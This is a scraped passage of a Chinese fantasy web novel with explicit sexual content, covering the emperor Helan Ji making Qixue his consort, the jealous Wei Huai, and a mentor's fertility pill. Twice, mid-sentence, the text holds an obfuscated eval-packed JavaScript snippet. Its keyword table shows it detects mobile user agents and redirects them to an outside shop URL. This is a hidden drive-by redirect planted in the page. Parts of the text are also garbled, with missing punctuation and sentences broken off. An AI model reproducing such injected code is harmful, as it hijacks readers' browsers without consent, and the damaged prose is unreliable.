绮雪还不知道这件事,惊讶地望向贺兰寂:“陛下要册封的贵妃……是我吗?” 他不能确定贵妃指的是不是他,位份太高了,他以前想都没想过,觉得贺兰寂能封他做个美人就不错了。 贺兰寂说:“除了你还能有谁?朕只有你,不会有别人,你就是朕未来的皇后。” “陛下……” 绮雪眸中异彩涟涟,激动地抱住贺兰寂,将脸埋进他的胸膛,几乎要喜极而泣了。 他的真当上陛下的宠妃了,而且是独宠的贵妃,未来的皇后!这样岂不是就代表着只要他生下孩子,未来就一定能当上皇帝,他就可以干掉姬玉衡了! 这个瞬间,绮雪高兴得甚至都想偷偷溜进卫淮家里,将那颗生子丹偷出来,今晚就怀上贺兰寂的孩子。 不过他也只是想想,其实还是更怕被卫淮抓住,他也没那么着急,还是等圣君给他送来新的生子丹吧。 感受到绮雪的激动,贺兰寂冷峻的神色柔和了几分,低头亲了亲他:“一会你随朕见见他们,想要什么封号由你自己选。” 绮雪眨眨眼睛。甜甜地说 :“可是陛下我还要去看望太妃娘娘实在没空见诸位大人们不如就由陛下为我做主吧只要是陛下挑的我都喜欢。” “无妨就让他们在书房等着朕陪你看望太妃。” 贺兰寂淡淡地吩咐下去让大臣们继续留在书房等候便由内侍们备好车驾他抱起绮雪向寝殿外走去。 书房中大臣们坐在贺兰寂赐下的座位上等候着等到的却是内侍传来消息让他们再多等候一个时辰陛下陪着贵妃娘娘去翠微宫了。 大臣们不由错愕正在他们怔忪之际忽然从窗户的缝隙间见到天子的玉辂缓缓驶过御道停在了长乐宫的阶下。 天色灰暗微微下着小雪内侍们撑开一把又一把伞自阶上排成长列为天子遮风挡雪。 天子玄色的大氅衣袍出现在伞下却不是只有他自己他的怀中抱着一个人。 他怀中之人披着雪白的斗篷斗篷的兜帽遮住了大半张脸只露出莹白如玉的下颌便知道那一定是位绝色美人。 天子如珍如宝地抱着美人不让他受到风霜丝毫的侵袭就这样抱着他走上只有天子才能乘坐的玉辂与他同乘车驾。 玉辂渐行渐远在微白的地面上留下两道车辙。 亲眼看到天子对贵妃的荣宠他们心中不约而同地冒出了相同的念头—— 妖妃祸国。- 贺兰寂与绮雪来到翠微宫的时候毫不意外地听到徐太妃正在发脾气。 “阿雪怎么没有来?是不是阿满太喜欢他舍不得放他来陪我?你们快去长乐宫看看我要见阿雪见不到阿雪我就不吃饭了!” “母妃您别生气真是抱歉阿雪来迟了。” 绮雪连忙出声安慰示意贺兰寂将他放下来贺兰寂脚步微顿还是顺从了绮雪的意思将他放了下来。 下地的时候绮雪还软了腿他今天还没走路这才发现自己的腿都被贺兰寂弄得没力气了。 陛下可真是…… 绮雪红了红脸欲盖弥彰地捋了捋鬓边的碎发 “阿雪你终于来了!” 见到心心念念的“女儿”徐太妃高兴地扑了过来想要抱抱绮雪却被贺兰寂拦住了:“他身体不适最好不要碰他。” “身体不适?阿雪病了吗?” 徐太妃一怔露出焦急之色:“快让母妃看看你哪里不好受? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336026|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎呀他们怎么也不跟我说一声早知道这样我就过去看阿 雪了。阿满,是不是你的长乐宫有太多脏东西了?不然阿雪好端端的怎么会生病呢? “他没生病。贺兰寂说,“他不适是因为我宠幸了他。 徐太妃杏眼圆睁:“宠……宠幸? “陛下! 贺兰寂握住绮雪的手,继续对徐太妃说:“我打算册封桑雪做我的贵妃。 “可是……很明显徐太妃有些懵,期期艾艾地说,“可是……我认了阿雪做我的女儿,他是你妹妹……做哥哥的怎么能娶妹妹呢? “哥哥可以娶‘妹妹’。贺兰寂说,“我既能做他的哥哥,也能做他的夫君。 绮雪适时插话:“陛下不是我的亲兄长,以后我还可以做母妃的‘女儿’,但是也能做陛下的妻子呀。 “这……好吧,好吧。 徐太妃不情愿地答应了,同时也显得很失落:“这样我就不是阿雪最亲近的人了,以后阿雪最亲近的人就是夫君了,就会忘记我这个母妃了…… “怎么会呢,母妃永远都是我的母妃,我会一直爱您的。 绮雪想要上前安慰徐太妃,但贺兰寂仍然没放开他的手,反而握得更紧了。 绮雪有点惊讶,回头望了贺兰寂一眼,贺兰寂沉默不语,这才缓缓松开绮雪的手,由着绮雪走过去抱了抱徐太妃。 回去的路上,绮雪依偎在贺兰寂怀里,调笑地问他:“难道陛下吃醋了不成,怎么不让我过去安慰太妃娘娘呢? 他本是无心之言,其实不是真的觉得贺兰寂吃醋了,岂料贺兰寂没有否认,反问他道:“我不能吃? 他并未自称“朕,而是“我,还坦言自己心生妒意,绮雪莫名地脸红了,声音软了下来:“能吃…… 贺兰寂看着他,开口说:“我很善妒。 他抬手轻点绮雪的心口:“也嫉妒你昔日的情郎能在你身上留下印记。 “哎呀……绮雪掩住心口,软软地说,“那怎么办嘛……要不然陛下为我换一对乳.钉? 贺兰寂摇头,他不打算摘下绮雪的乳.钉,也没有更换的打算,不想让绮雪再痛一回。 只要他对桑雪更好,好到能够完全占据桑雪的心,旧物是不是留下来都没有关系,哪怕桑雪看到旧物,也不会想起曾经的情郎了。 他对绮雪说:“私下无人时,你可以叫我‘哥哥’。 “哥哥,你真好…… 绮雪当 即顺着竿子往上爬,抱住贺兰寂亲他,撒娇地问:“那哥哥叫我什么?方才你还叫我‘桑雪’,我们都这么亲密了,你不该换个称呼吗?” “你想让我叫你什么?”贺兰寂问,“妹妹?” “妹妹就算了。”绮雪红了耳朵,“陛下不如叫我的小名吧,我的小名叫‘圆圆’,方圆的圆。” 这是当年贺兰寂为他取的名字,他叫圆圆,贺兰寂的小名叫阿满,圆圆满满,现在他们又凑到一起了。 不过也不知道陛下还记不记得当年那只小兔子。 “圆圆。” 贺兰寂重复着这两个字,并没有提起他养过小兔子的往事,只是说:“我的小名是‘阿满’,圆圆满满,你与我很相配。” “是呀……” 绮雪见他可能不记得了,虽然知道那时贺兰寂才三岁,年纪还小,心里却多少有些不满,故意在他耳边吹了口热气,轻咬他的耳垂:“阿满哥哥。” 贺兰寂瞬间绷直背脊,呼吸都变沉了:“圆圆,你不怕你受不住?” 绮雪若无其事地移开视线:“陛下,已经回到长乐宫了,您还要召见大臣呢,我就先……” 他想跑,却快不过贺兰寂禁锢住他的速度,贺兰寂箍住他的腰,将他抱下玉辂:“你随我一起进去。” 贺兰寂抱着绮雪来到书房,众大臣已经在此等候多时了,听到内侍的通传,纷纷俯身跪拜:“臣等见过陛下,见过贵妃娘娘。” “起来吧。” “谢陛下。” 贺兰寂抱着绮雪坐到上首,宽大的书桌后,绮雪坐在贺兰寂的大腿上,其实已经不敢动了,他不想让贺兰寂在臣子面前丢人。 岂料他是老实了,那些细小的触肢却不肯放过他,悄然顺着他的小腿爬了上去。 “!” 绮雪掩住唇,不敢发出半点声音,难以置信地望向贺兰寂。 贺兰寂却仍旧神色漠然,对坐在下首的臣子说:“将封号拿给贵妃,由他亲自挑选。” 作者有话要说 兔团:……!!(扭动)(扭动)(兔尾巴乱抖)(被触手缠住尾巴)(揍兔屁) 感谢wtywy的手榴弹,三好公民的地雷×4,重生之我在鬼市扫大街的地雷×3,纯良比格的地雷×2,以及鳩籨、老婆亲亲、汤圆小猫、从霜雪枝和深情隐忍自卑拉磨处男攻的地雷!=3= 第 27 章 他想阿雪想得要疯... 第27章他想阿雪想得要疯 大臣们递上奏章,由薛总管呈到书案上,贺兰寂打开奏章,指着里面的内容:“圆圆,你来挑,告诉朕哪个封号最合你心意。 他对绮雪说话时,态度总要温和许多,哪怕还是正常的语气,也不难听出他对绮雪的宠爱。 更不用提他还让绮雪坐在他腿上,就这样抱着绮雪和大臣们议事…… 上了年纪的大臣已经开始头晕眼花了,一直以来,他们对贺兰寂都是既惧怕又信服的,陛下虽残暴,但在政事上仍不失为一位难得的明君,可是今日,他们竟然能在陛下身上看出了几分好色昏君的架势。 这位贵妃娘娘究竟是何方神圣,竟然能让冷漠寡情的陛下对他这般偏宠无度? 方才行礼时,大臣们不敢抬头直视天颜,也就没能看到绮雪的容貌,这回坐下来了,趁着贺兰寂和绮雪一起看封号的功夫,都偷偷地撩起眼皮瞥了一眼。 只一眼,他们就被绮雪绝艳的美貌冲击得目眩神迷。 美人冰肌玉骨、香娇玉嫩,柔若无骨地依偎在陛下怀中,眸光流淌着盈盈的媚意,如皎皎明月落入浊世,染上红尘的情与欲。 大臣们不敢多看,深深地埋下头,却忽然理解了贺兰寂。 陛下初尝人事,对象又是国色天香的大美人,会一时贪欢也完全不奇怪,换成是他们,恐怕会比陛下还要失态得多。 只是常言道,红颜祸水,将这样一位美人养在深宫中真的不会惹出祸事吗? 绮雪的容貌太美了,美到大臣们心惊肉跳,但又不敢向贺兰寂进言劝谏。说到底陛下也只是误了今天的早朝而已,算不得什么大事,还是不要惹怒陛下为妙,姑且观察一段时日再说。 大臣们个个眼观鼻、鼻观心,书房中安静极了,只有贺兰寂低沉的声音:“圆圆还没有选出来,莫非这里面没有你喜欢的封号? “…… 绮雪咬住下唇,满面飞红,书案下的双腿似初生的小鹿般发着抖。 触肢们作恶多端,有的拉扯红宝石,有的攀过腰下,轻轻抽打了几下,饱满雪白的肉浮现出浅浅的红痕。 他苦不堪言,却又顾及贺兰寂的颜面不敢叫出声来,他明明是为了陛下着想,为什么陛下不能理解他的苦心,偏偏要在这么多人面前摆弄他? 贺兰寂从背后靠近绮雪,呼吸喷洒在他的耳后,正如玉辂上绮雪对他做的那般:“爱妃为什么不说话?难道你在同朕置气? 啊…… 绮雪的眼眸中蒙上了湿润的水光,浑身又酥又酸地软成春泥,艰难地吐出几个字,声音小得只有贺兰寂能听见:“没有,我只是还在选,在看…… “爱妃不必急切,朕陪你一起看。 贺兰寂握住绮雪的手,带着他一起看奏章,绮雪目光迷离,根本集中不了视线,看什么都是模糊不清的,脑子也成了一团浆糊,早已舒爽得溃不成军了。 “啪的一声,他的泪珠打落在奏章上,晕湿了墨迹。 贺兰寂看向被泪珠打湿的字:“‘宁’。爱妃要用‘宁’为封号吗? 绮雪十指收紧,形状优美的指尖用力到发白,指甲微陷于皮肉,抓红了贺兰寂的手背,实在收不住声音:“不要…… 他这一声媚得人骨头发软,大臣们未曾觉察到书案下的春.光,只以为贵妃娘娘生来就是就是这副嗓音,顿时心乱如麻,不得不默念经文,平复心中的燥郁之气。 “看来爱妃一时半刻选不出来。 贺兰寂说着,暂时将封号之事搁置下来:“把册封大典的奏章拿来给朕。 薛总管递上奏章,奏章中草拟了贵妃册封大典的规制,贺兰寂只看了几眼就说道:“按封后的规制来。 大臣们念经念到一半,愣了一会才反应过来:“陛下,这恐怕不合规矩…… “就按朕说的办。贺兰寂道。 众大臣立刻闭口不言:“臣领旨。 贺兰寂:“都退下吧,晚些时候,朕会把贵妃的封号送到翰林院。 大臣们终于不用念经了,当即如蒙大赦地告退出去,薛总管也相当识趣地离开了书房,还顺手关上了屋门。 绮雪被抱上书案,贺兰寂扶住他的腿,不料指尖湿湿滑滑的,这可不是触肢留下的:“很着急? “……绮雪面红耳赤,软声嗔怪道,“陛下就知道欺负人…… 岂料贺兰寂不知反省,甚至将指尖吮净了,绮雪羞得快要蒸发了,这一刻他是真的很想变回兔子,打个地缝钻进去,好逃离这间书房。 贺兰寂俯身亲吻他的眼皮:“不欺负圆圆。 他们好了一回,贺兰寂就停下了,为绮雪换了身衣裳,从头到脚仔细地穿好。 绮雪本来就腰酸腿软,这下更是耗尽了力气,已经懒得看封号了,蜷在贺兰寂怀里说:“哥哥念给我听嘛…… “好。 贺兰寂将封号逐一念给他听,听到某个字的时候,绮雪叫停了:“我就要这 个字。” “绮。”贺兰寂说,“你打算要‘绮’字?” “没错。”绮雪点点头,虽然他已经听惯了“桑雪”和“桑公子”,但只要一想到自己跟的是桑迟的姓,心里还是不爽,这样选了“绮”字,以后大家都叫他“绮贵妃”,听起来就顺耳多了。 他对贺兰寂说:“‘绮’有可爱美好的意思,寓意很好,我喜欢这个字。” 贺兰寂看着他:“圆圆容光照人,韶秀瑰艳,‘绮’字确实适合你。” …… 定下封号后,册封贵妃的诏书很快便宣告于天下。 不过短短数日,天子封妃的消息就已经传遍了整个大雍,连远在南平郡的姬玉衡也听说了此事。 收到这个消息,姬玉衡并没有特别的感受,如果说有,也就是为天子成婚而感到高兴,仅此而已。 至于贵妃娘娘有多么倾国倾城、光艳逼人,陛下又多么宠爱贵妃,姬玉衡对这些传闻都不感兴趣,听了也只是淡淡一笑,便继续埋头处理手中的公务和文书。 又是一日辛劳,直到深夜,姬玉衡才回到郡主府。 这时他已经相当疲累,却还是很温柔地接待了受伤的小动物们,为它们包扎伤口,又给它们喂了些吃食。 忽然,一只狸花猫掠过窗棂,跳进了卧房,见到狸花猫,姬玉衡立刻站起身来,给它找出了小鱼干,一边喂它一边询问:“怎么样,你有没有打听到小兔子的消息?” “还是没有。” 狸花猫都不好意思吃姬玉衡的小鱼干了,它没有办成差事,却收了姬玉衡太多好处,它也是知羞的。 它告诉姬玉衡:“我想他应该是真的不在南平郡了,不然过去这么久,我把郡中的兔妖家族都问了个遍,怎么会打听不到他的消息呢?他肯定不是南平郡的小兔子。” 不是南平郡的小兔子…… 姬玉衡怔了一会,俊美的眉眼间流露出淡淡的怅然之色。 其实他早就猜到小兔子并非是南平郡出身,他忽然出现,又忽然消失不见,很可能是跟随大将军卫淮的铁骑而来,甚至就是那位备受卫将军宠爱的美人。 因为小兔子的情郎名叫“七郎”,而卫淮正是族中行七,族中亲眷都唤他“七郎”。 如果真是如此,他们恐怕就难有相见之日了。 姬玉衡垂下眼睫,沉默不语。 他知道永不相见才是最好的。 可是他忘不了…… 忘不了那旖旎的一夜,环抱他的雪臂,动人的低吟, 馥郁的甜香,温热柔软的身体…… 午夜梦回,他会重复坠入相同的梦境,直到从梦中惊醒。 更难以启齿的是,他……他还留着那件被汗水打湿的中衣,将它藏在深处,因为那上面依然残存着美人的香气。 只是他从不敢拿出来。 拿出来了,就会更加思念。 可他不该思念一个心有所属的人。 见姬玉衡神色失落,狸花猫伸爪拍了拍他:“找不到也没关系,凡事皆有可能,说不定你很快就能见到他了。 “但愿如此。 姬玉衡笑了笑,温柔地摸摸狸花猫的小脑袋,将小动物们妥善安置后,就去歇息了。 不料也就是在转日,姬玉衡忽然接到了天子传宗亲子嗣入京的诏书。 此次传召的目的是为了遴选储君,姬玉衡身为长公主之孙,自然也有入选的资格,何况他仁和清正、贤名远扬,名单一经列出,就已经是储君的热门人选,就连宣旨的官员都对他毕恭毕敬,仿佛他已然入主东宫一般。 收到诏书后,姬玉衡不敢耽搁,很快做好了准备,便拜别母亲宝华郡主,踏上了前往上京的道路。 坐在马车中,姬玉衡手握书卷,心思却不在上面,而是微微出神。 其实他此次入上京,并没有多么期待自己能成为储君,甚至他打算向天子进谏,恳求天子收回成命,不要从宗亲中挑选太子。 陛下尚且年轻,又即将册立贵妃,孕育皇嗣并非难事,本就不必立宗亲子嗣为储,一旦宗亲藩王进入上京,必定会引发许多意想不到的骚乱和动荡。 不过在内心深处,姬玉衡又多出了一丝隐秘的期待。 没有传召,他本不能离开封地入京,可是有了这次机会……是不是意味着他可以见到小兔子了?- 上京郊外,苍山,云月观。 正待在云月观中吃斋念经的卫淮当然也听说了天子封妃的消息。 彼时正是白昼,云月观中人声鼎沸,皆是前来祭拜的香客,离几座正殿不远的院子里建有待客的厢房,卫淮就住在其中一间。 他这次拜访云月观,是为了占卜绮雪的下落。 绮雪逃婚后,卫淮早就派诸怀卫将整座上京翻了个底朝天,却还是没能找 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卫淮又侧耳聆听一番香客们说什么的都有好像姓桑又好像姓齐很多百姓不识字诏书张贴出来也都是听别人念的就这样口口相传到最后也弄不清贵妃的姓氏了。 光听他们还是不够卫淮在观中待得太枯燥了对什么都感兴趣更何况是好友有了心仪之人就更新奇了当即提笔给贺兰寂书信一封让诸怀卫送到山下转交给白虎再由白虎送到皇宫这样速度最快。 信中的内容如下:“铁树开花你也有娶妻的一天?他是谁家子弟你们是如何相识的?说来给我听听。” 若是可以卫淮想亲自下山问问但如果他这么做了前面半个月的努力就白费了他还要重新再吃斋念经一个月。 要是这样他还不如直接杀进谢殊的道场将刀架在他脖子上逼他算出绮雪的下落。 卫淮等了半日 但卫淮这段时间的情绪相当不稳定即使上一刻还面含笑意下一刻也许就有发狂的征兆于是他又写下第二封信。 “还请陛下准许我杀光云月观的道士不准许也没关系我还是要杀光他们。” 这一次贺兰寂回复了:“你心绪不稳不宜在云月观久留尽早回京。” “回京?” 卫淮重复着这两个字忽然笑了笑将信纸揉皱了、撕碎了瞳孔变成幽绿的竖瞳妖气骤然爆发:“阿雪不在京中我回去有什么用?回去就能见到阿雪吗?” 他快疯了。 不是因为吃斋,也不是因为念经,而是他想阿雪想得要疯了。 他想见阿雪,想看到阿雪的笑,想抱他亲他,在他耳边说情话,晚上相拥在一起同床而眠。 可他的阿雪不见了,他丢下了他,从此消失不见,没有任何音讯,唯一留给他的东西就是坏掉的金脚镯。 卫淮的双手死死地扣在一起,他的指甲变得黑而尖利,深深刺破血肉,戳出血淋淋的洞,几乎贯.穿的整只手掌。 厢房外,云月观的弟子们惊疑地停下了脚步,被房中血腥可怖的妖气震慑得难以呼吸,而这股妖气仍在向上升腾,形成遮天蔽日的黑云,盘桓在上空。 一时间,倾落的日光都变得暗淡了。 香客们惊讶地看向上空,他们是肉眼凡胎,看不到妖气形成的黑云,却能感觉到光线在一瞬间变暗了,可抬头看看,天空中依然艳阳高照,连一片云彩都没有。 这股妖气太过骇人,且杀气四溢,是真的要大开杀戒了,弟子脸色变了,连忙唤道:“快,快去请玄阳大师兄过来!” “大师兄不在观中,他下山了!” 正当弟子们紧急聚到一处,结出剑阵严阵以待时,一道银光忽然从国师谢殊的道场飞.射.出来,轰地打散了那团凝聚的妖云。 清光弥漫,止住了卫淮沸腾的杀意,他闭了闭眼睛,及时控制住自己的情绪,将妖化的姿态收了回去。 “吱呀……” 厢房的屋门从内部打开,卫淮撑着两只血淋淋的手,对弟子们露出笑意:“抱歉,令诸位道长受惊了,你们没事吧?” 弟子满心忌惮,欲言又止地看着卫淮的手:“我们自然无事,只是卫善士你……” “我?” 卫淮舔净了自己的血,冲他们笑:“我也没事,已经不想吃人了。” “!”弟子们惊恐地后退半步。 正在此时,一只符篆叠成的纸龙从谢殊的道场飞了过来,落在卫淮面前。 符篆燃烧,传出谢殊清冷的声音:“卫淮,你速来见我。” 作者有话要说 兔团:(忽然警觉)我不会在封妃的大典上见到卫淮吧? 卫淮:(已黑化) 感谢。。。的手榴弹,以及纯良比格、鳩籨、守护全世界的女孩和受、卿安、赵雪健快更新和病娇的坤的地雷! 第 28 章 是不是这样他就能... 第28章是不是这样他就能 接到谢殊的传讯后,卫淮先是简单处理了双手的伤势 云月观位于问道峰的峰顶,但谢殊的道场不在观中而是位于问道峰的后山。 道场外布了法阵,未经谢殊允许,任何人都不得入内,就连引路的弟子也只能将卫淮带到法阵入口,便停下了脚步:“卫善士请。” 卫淮踏入法阵,也相当于进入了谢殊的道场,一走进去,天空立刻变幻了颜色群星闪烁却并非黑夜,而是散发出瑰丽斑斓的光芒,如流动不息的晶莹沙砾。 数头银色飞龙在天际盘桓,发出清越的龙吟。 传闻谢殊是仙人转世,降生时飞龙在天,他是不是仙人姑且不论,但飞龙的确是存在的,而且就在他的道场中繁衍生息。 他是受到真龙庇护的大气运之人。 洞渊临世、妖魔丛生是在三百多年前不过早在千年之前,龙族就已经存在了。 它们强大神秘数量稀少,而在洞渊诞生后,天下灵气受到洞渊侵蚀,许多龙族迅速衰败死去世间便更难见到龙族的踪迹。 直到今日世人都知道妖魔的存在却不知道龙的存在还以为龙只是上古的传说。 几乎没人见过真正的龙卫淮也只是在谢殊的道场中见过一两次其他地方的龙估计早就绝迹了。 天空中最小的那只银龙飞了下来化成六七岁童子的模样奶声奶气地对卫淮说:“跟我来吧。” 他还是一只小龙化形术用得不好脑袋顶着两只龙角皮肤隐约透出龙鳞的形状将卫淮带到一座精舍中又“嗒嗒”地跑了出去:“我去倒茶。” 卫淮一撩衣摆曲腿坐在蒲团上坐姿相当放浪形骸。 谢殊的精舍布置得很简单一座点香的熏炉一张矮几几个蒲团书架上摆着满当当的古书雪白的幔帐隔绝了内室但卫淮见过内室也就只有一架古琴和几个蒲团除此之外连张床都没有简朴到了极点。 一道人影长身玉立于幔帐后隐隐透出轮廓正是国师谢殊。 他并没有走出幔帐直接和卫淮见面因为卫淮还没在观中待满一个月没能遵守他定下的规矩。 谢殊总是有许多奇怪的规矩但也符合他的性情他似一尊冰冷的木偶冷漠得没有丝毫人情味只知天道恒常、日月亘古其他的他都漠不关心。 卫淮 最烦的就是谢殊这种人,况且他还曾经因为谢殊吃尽了苦头——当年他重伤濒死,母亲为了救他,求到谢殊头上,拜谢殊所赐,他在伸手不见五指的黑暗中被囚禁了足足半年才被放出来。 所以云月观这种晦气的地方,若是无事,卫淮绝不会轻易踏入,只是现在没办法,谁叫他有求于谢殊。 银龙童子推门而入,端着托盘,将茶水和果子放在矮几上,示意卫淮:“吃果,喝茶。” “多谢。” 卫淮笑了笑,端起茶杯吹了吹热气,饮啜一口,对幔帐后的谢殊笑道:“倘若早知道我起了杀心就能见到你,我就先杀光你的弟子了,看来你所谓的规矩也不是不能打破。” “你来做什么?” 谢殊开口,声音很年轻,却分外冷冽,如寒意彻骨的冰泉。 卫淮放下茶杯,正容道:“我妻子不见了,我想请你帮我占卜他的下落。” 谢殊:“需要他的贴身之物。” 卫淮将损坏的金脚镯递了过去,幔帐中伸出一只骨节分明的手,取走了脚镯。 片刻后,谢殊将脚镯还给卫淮,并说道:“他在皇宫。” “皇宫?” 谢殊的占卜是不可能出错的,卫淮怔了怔,的确,他把整座上京掘地三尺,却唯独没有搜寻过皇宫。 皇宫……阿雪在皇宫。 卫淮猛地握住脚镯,最本能的反应不是激动,而是忧虑。 宫中有那么多穷凶极恶的妖魔,阿雪一只小兔子躲藏在宫中该如何自保,他现在还好吗? 卫淮坐不住了,立刻起身走向门口,幔帐后却忽然飞出一道银光,没入卫淮背后。 卫淮不曾防备,当即感到一阵强烈的眩晕之感,眼前一黑,“扑通”倒在了地上。 银龙童子从门口探出脑袋,用脚尖踢了踢他,确定他没有反应,立刻取出龙筋将他捆了个结实。 捆好卫淮,银龙童子抹了抹头上的汗,询问谢殊:“观主,接下来要怎么处置他?” “投入水牢,直到他待满一个月为止。” 谢殊道:“他杀性太重,若放他下山,必定生出祸端,先将他押入水牢,以示惩戒。” “弟子明白。” 银龙童子叫来两只成年银龙,将卫淮抬了出去。 他关上门,恰巧一股清风吹过,掀起了幔帐。 幔帐后,露出谢殊的背影,他身形高大,背脊挺拔而宽阔,身着素白道袍,并未佩戴头冠,身后垂落着银色长发。 而他的发 顶上,生有两只峥嵘的银色龙角,在斑斓天光的映照下,散发出微微的银芒。- 册封贵妃的诏书颁布之后,宫中立刻将空置已久的承露宫修葺一新,恭迎绮雪入住。 承露宫是历代贵妃居住的宫殿,原本的陈设就已相当奢丽,现在更是按照皇后的规制重新布置了一番,更如琼堆玉砌、珠宫贝阙,华奢绮靡到了极点。 明珠翡翠、绫罗香缎、锦囊玉轴、奇葩异卉……数不清的稀世奇珍如流水般地送入承露宫,将每间宫殿的檀木架都摆放得满满当当的,无论走进哪间屋子,都会被屋中的富丽堂皇和珠光宝气迷花了双眼。 短短几日,无论是后宫还是朝堂,都已经传开了天子对绮贵妃的盛宠。 不过承露宫修建得再好,绮雪也还是没有搬进去,只在白日看过一回,他依然住在贺兰寂的长乐宫,两人几乎夜夜欢合,每晚至少都要两三回。 如此激烈的欢合,让绮雪耗尽了体力,白天总是要睡很久。 贺兰寂怜惜他,也曾什么都不做,单纯地抱着他入睡,但绮雪非但不感激贺兰寂的体贴,还要勾引他,结果就是被弄到哭泣求饶,贺兰寂却不会再如他所愿地半途停下来。 “圆圆真是贪欢。 贺兰寂曾轻点绮雪的鼻尖,如此对绮雪说道,绮雪被他说得满脸通红,心里很不服气,却说不出反驳的话。 其实他才不是贪欢……他这么做都是为了陛下,他在运转双修功法嘛! 为了贺兰寂,绮雪自觉责无旁贷,哪怕被贺兰寂误会成贪吃的小色兔,也还是会缠着贺兰寂跟他好,每晚肚子都吃得很撑,还要让贺兰寂给他揉肚子,帮他弄出去。 只不过绮雪的修炼进展得并不是很顺利,每当他运功运满三四个周天,那股精纯的灵气就会断开、散逸,无法持续运行,最终只能达到一半效果,可他并不清楚问题出在哪里。 带着这个困惑,绮雪等了几天,终于等来了玄阳进宫。 每隔半个月左右,玄阳就会来宫中送药,这份差事很简单,本来并不由他这位首席大弟子负责,他是为了看望绮雪才接过了这份差事,可以说绮雪就是他进宫的理由。 今天玄阳进宫的时辰比较早,绮雪还在睡觉。又过了半个多时辰,绮雪才睡醒过来,懒洋洋地掀开幔帐,朝帐外招招手,软软地说:“我想喝水。 贺兰寂为绮雪留下了数只魇魔,专供绮雪驱使,绮雪吩咐的就是魇魔,却在接过茶杯时出乎意料地碰到了温暖的手指。 绮雪一愣,将幔帐掀开 缝隙视线对上了玄阳平静柔和的双眼。 “刚好为你带了我种的茶。” 玄阳向他微笑:“快喝吧。” “啊……” 绮雪没想到竟然是玄阳为他端茶倒水不由得非常惊讶立刻撑起酸软的身体从床上爬了起来向他行礼:“弟子见过圣君!” 玄阳单手托住他阻止他向自己跪拜:“阿雪不必多礼也不必以‘弟子’自称 他将茶杯递给绮雪绮雪喝了几口决定遵从玄阳的吩咐不再以“弟子”作为自称难为情地问:“圣君是不是等我很久了?” 玄阳莞尔抬手捋顺他凌乱的发丝:“不算久候你睡着的模样很可爱多看一会也无妨。” 这下绮雪的脸彻底红透了其实他很想在圣君的面前表现得稳重可靠些却总是像只不成熟的小兔子还要劳烦圣君包容他。 玄阳放下手视线扫过绮雪凌乱的衣襟和裸.露在外的雪白香肩没有再帮他整理而是从袖中取出瓷瓶:“我带来了你想要的抱岁丹。” 圣君带来抱岁丹了! 绮雪眸光一亮顿时顾不得害羞欢天喜地地打开瓷瓶从里面倒出了丹药。 抱岁丹的色泽很漂亮表皮泛着淡紫色气味甜甜的如一颗光滑的糖球。 “直接用水吞服不要咬碎否则抱岁丹会失去效力。”玄阳道。 按照他的叮嘱绮雪喝了一口茶水将抱岁丹整个吞了下去还好抱岁丹只是小小一枚很容易就能吞服下去不然他真是担心自己会不自觉地咬碎它。 抱岁丹入腹后散发出了奇异的温暖令人感到非常舒适。 绮雪摸了摸小腹满脸欢喜眸中泛起了盈盈的波光是不是这样他就能怀上陛下的孩子了? 他既开心又羞涩不停地摩挲着小腹仿佛肚子里已经孕育了生命玄阳看在眼里忽然问道:“能为贺兰寂孕育子嗣你很开心?” “开心呀。” 绮雪抬起头笑着对玄阳说:“这样姬玉衡就继承不了陛下的皇位了只要他做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玄阳摇头,托起绮雪的足底,仔细看他的小腿,终于找到了浅浅的疤痕,其实并不明显,不仔细看完全看不出来,可当时那支箭钉得极深,差点要了绮雪的命。 “圣君…… 绮雪害羞极了,十指抓紧衣袖,脚趾不安地蜷缩着,双腿微微发抖。 他容貌极美,连带着脚也生得漂亮,足背雪白,脚趾粉润,指甲也圆圆的、粉粉的,极是可爱。 玄阳修长的手指从足弓划过,足背紧张地绷紧,他轻轻地按在疤痕上,本就温柔的声音又放轻许多:“还疼吗? 绮雪小声:“早就不疼了。 “阴天下雨也不疼吗? “不疼 的。”绮雪说。 当年贺兰寂将他养得很好,没有留下任何暗病,后来他回到大荔山,绿香球给他送了一堆补品和药膏,他天天吃天天抹,更是不可能有毛病了,而且几乎没留下疤痕。 “还好,没有伤到骨头。” 玄阳说着,一股法力凝聚在他指尖:“你在运功时灵气不畅,应当是经脉有暗伤,我为你治好它,以后你运功应当就不会有问题了。” “先等一等,圣君……”绮雪连忙阻止玄阳。 “怎么了?”玄阳抬头看他。 “要是治好暗伤,我腿上的疤是不是也不会留下了?”绮雪问。 “不错,不会留下。”玄阳淡淡一笑,宠爱地说,“原来你还是一只很爱美的小兔子。” 绮雪吞吞吐吐:“不是的,其实……我是想留下这个疤,圣君能帮我留下它吗?” “为什么?”玄阳问,“你为何要留下它?” “因为陛下很笨,还没认出我就是当年的那只兔子。” 绮雪娇娇地嗔怪:“所以我想,如果他以后发现这个疤,说不定就能认出我了,我想要他自己认出我……” “……” 玄阳脸上的笑意消失了。 作者有话要说 玄阳:神就不能吃醋吗? 问:当年兔团吃的补品和用的药膏真的是绿香球送的吗? 绿香球:我很想送,但是真的没银子呀!那些补品可贵了,我买不起,送补品的人其实是——(被桑迟捂住喙) 莫要说兔短,明天有加更!第一更是早上九点,第二更还是晚上九点!=v= 感谢愤怒的农村人69的火箭炮×2,以及charon、鳩籨、汤圆小猫、纯良比格、深情隐忍自卑拉磨处男攻的地雷!=3= 第 29 章 29(加更) 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 